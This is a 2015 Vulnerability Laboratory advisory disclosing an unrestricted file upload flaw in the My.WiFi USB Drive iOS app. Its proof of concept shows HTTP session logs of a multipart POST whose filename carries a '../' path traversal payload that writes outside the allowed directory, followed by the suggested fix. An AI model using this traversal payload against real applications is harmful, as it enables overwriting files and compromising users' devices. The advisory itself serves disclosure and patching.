Document Title:
===============
My.WiFi USB Drive v1.0 iOS - File Upload Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1589


Release Date:
=============
2015-09-23


Vulnerability Laboratory ID (VL-ID):
====================================
1589


Common Vulnerability Scoring System:
====================================
7.6


Product & Service Introduction:
===============================
My WiFi USB drive. Files can be uploaded with any browser. Start the WiFi Drive web server from application and connect to it using any browser.
Use the iPod/iPhone’s/iPad`s available disk space to carry any files. Use your iPhone as a normal shared network drive!

(Copy of the Vendor Homepage: https://itunes.apple.com/us/app/my.wifi-usb-drive-+-free-pdf/id979512705  )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered an unrestricted file upload web vulnerability in the My.WiFi USB Drive v1.0 iOS mobile web-application.


Vulnerability Disclosure Timeline:
==================================
2015-09-24:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Jiyeon Lee
Product: My.WiFi USB Drive - iOS Mobile (Web-Application) 1.0


Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
A file upload web vulnerability has been discovered in the official My.WiFi USB Drive v1.0 iOS mobile web-application.
The unrestricted file upload web vulnerability allows remote attackers to upload an arbitrary (malicious) files to 
compromise the iOS web-application. 

The vulnerability is located in the `filename` parameter of the `Upload Files` module. Remote attackers are able to manipulate the 
filename value and can replace or overwrite the local files in the application path. The request method to upload the malicious 
context is POST and the attack vector is located on the application-side of the mobile iOS web-application.

The security risk of the file upload vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.6. 
Exploitation of the unrestricted file upload web vulnerability requires no user interaction or privileged web-application user account. 
Successful exploitation of the vulnerability results in mobile application compromise and compromise of connected device components.


Proof of Concept (PoC):
=======================
The unrestricted file upload web vulnerability can be exploited by remote attackers without privileged web-application user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Source
<tr class="row-file">
        <td class="column-icon">
          
            <button type="button" class="btn btn-default btn-xs button-open">
              <span class="glyphicon glyphicon-folder-open"></span>
            </button>
        </td>
        <td class="column-name"><p title="Click to rename..." 
class="edit">"../not_allowed_directory/x></p></td>
        <td class="column-size">


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:8080/upload
Mime Type[application/json]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0]
      Accept[application/json, text/javascript, */*; q=0.01]
   POST-Daten:
      POST_DATA[-----------------------------20192471318021
Content-Disposition: form-data; name="path"
/
-----------------------------20192471318021
Content-Disposition: form-data; name="files[]"; filename="../not_allowed_directory/newfile.png"
---
Status: 200[OK]
GET http://localhost:8080/list?path=%2F../not_allowed_directory/newfile.png
Mime Type[application/json]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0]
      Accept[application/json, text/javascript, */*; q=0.01]
   Response Header:
      Server[GCDWebUploader]
      Cache-Control[no-cache]
      Content-Length[692]
      Content-Type[application/json]
      Connection[Close]
      Date[Tue, 01 Sep 2015 11:17:22 GMT]
	  

Reference(s):
http://localhost:8080/upload
http://localhost:8080/list?path=%2F


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure validation of the filename value in the upload POST method request. Restrict the filename input and 
disallow special chars. Ensure that not multiple file extensions are loaded in the filename value to prevent arbitrary file upload attacks.
Encode the output in the file dir index list with the vulnerable name value to prevent application-side script code injection attacks.


Security Risk:
==============
The security risk of the unrestricted file upload vulnerability in the My.WiFi USB Drive app is estimated as high. (CVSS 7.6)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


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=========================
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